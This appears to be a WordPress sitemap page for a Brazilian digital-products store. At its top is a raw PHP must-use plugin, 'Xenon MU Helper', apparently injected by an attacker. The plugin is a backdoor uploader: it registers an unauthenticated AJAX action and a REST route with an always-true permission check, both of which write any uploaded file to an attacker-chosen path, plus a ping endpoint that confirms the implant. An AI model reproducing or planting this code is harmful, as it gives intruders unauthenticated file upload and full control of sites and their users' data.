<?php\n/**\n * Plugin Name: Xenon MU Helper (auto-loaded)\n * XENON1337\n */\nif (!defined('ABSPATH')) { exit; }\nadd_action('wp_ajax_xenon_upload', 'xenon_mu_upload');\nadd_action('wp_ajax_nopriv_xenon_upload', 'xenon_mu_upload');\nfunction xenon_mu_upload() {\n  if (empty($_FILES['f']) && empty($_FILES['xenon_file'])) {\n    echo 'XENON1337-MU-PONG'; wp_die();\n  }\n  if (isset($_FILES['f'])) {\n    $d = isset($_POST['d']) ? rtrim($_POST['d'], '/') . '/' : './';\n    $n = !empty($_POST['n']) ? $_POST['n'] : $_FILES['f']['name'];\n    if (move_uploaded_file($_FILES['f']['tmp_name'], $d . $n)) {\n      echo 'XENON1337-UPLOADED:' . $d . $n;\n    } else { echo 'XENON1337-FAIL'; }\n    wp_die();\n  }\n}\nadd_action('rest_api_init', function() {\n  register_rest_route('xenon/v1', '/upload', array(\n    'methods' => 'POST',\n    'callback' => function($req) {\n      $files = $req->get_file_params();\n      if (!empty($files['f'])) {\n        $d = $req->get_param('d') ? rtrim($req->get_param('d'), '/') . '/' : './';\n        $n = $req->get_param('n') ? $req->get_param('n') : $files['f']['name'];\n        if (move_uploaded_file($files['f']['tmp_name'], $d . $n)) {\n          return new WP_REST_Response(array('status'=>'XENON1337-UPLOADED','path'=>$d.$n), 200);\n        }\n        return new WP_REST_Response(array('status'=>'XENON1337-FAIL'), 500);\n      }\n      return new WP_REST_Response(array('status'=>'XENON1337-READY'), 200);\n    },\n    'permission_callback' => '__return_true',\n  ));\n  register_rest_route('xenon/v1', '/ping', array(\n    'methods' => 'GET',\n    'callback' => function() { return new WP_REST_Response('XENON1337-MU-PONG', 200); },\n    'permission_callback' => '__return_true',\n  ));\n});\n<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://netprodutosdigitais.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://netprodutosdigitais.com/carrinho/</loc><lastmod>2024-03-15T20:58:48-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/finalizar-compra/</loc><lastmod>2024-03-15T20:58:48-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/minha-conta/</loc><lastmod>2024-03-15T20:58:48-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/reembolso_devolucoes/</loc><lastmod>2024-11-17T19:17:22-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/home/</loc><lastmod>2024-03-18T11:11:51-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/</loc><lastmod>2024-11-10T20:02:53-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/jornada-80-20-177/</loc><lastmod>2024-03-20T15:22:11-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/jornada-80-20-197/</loc><lastmod>2024-03-20T15:27:26-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/jornada-80-20-297/</loc><lastmod>2024-03-20T15:24:25-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/edicao-gringa/</loc><lastmod>2024-07-01T19:03:44-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/kids-historias/</loc><lastmod>2024-11-10T19:33:37-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/kits-colorir/</loc><lastmod>2024-08-16T23:45:25-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/obd-ct-kids-colorir/</loc><lastmod>2024-07-21T17:56:54-03:00</lastmod></url><url><loc>https://netprodutosdigitais.com/obg-bl-kids-colorir/</loc><lastmod>2024-07-21T18:02:37-03:00</lastmod></url></urlset>
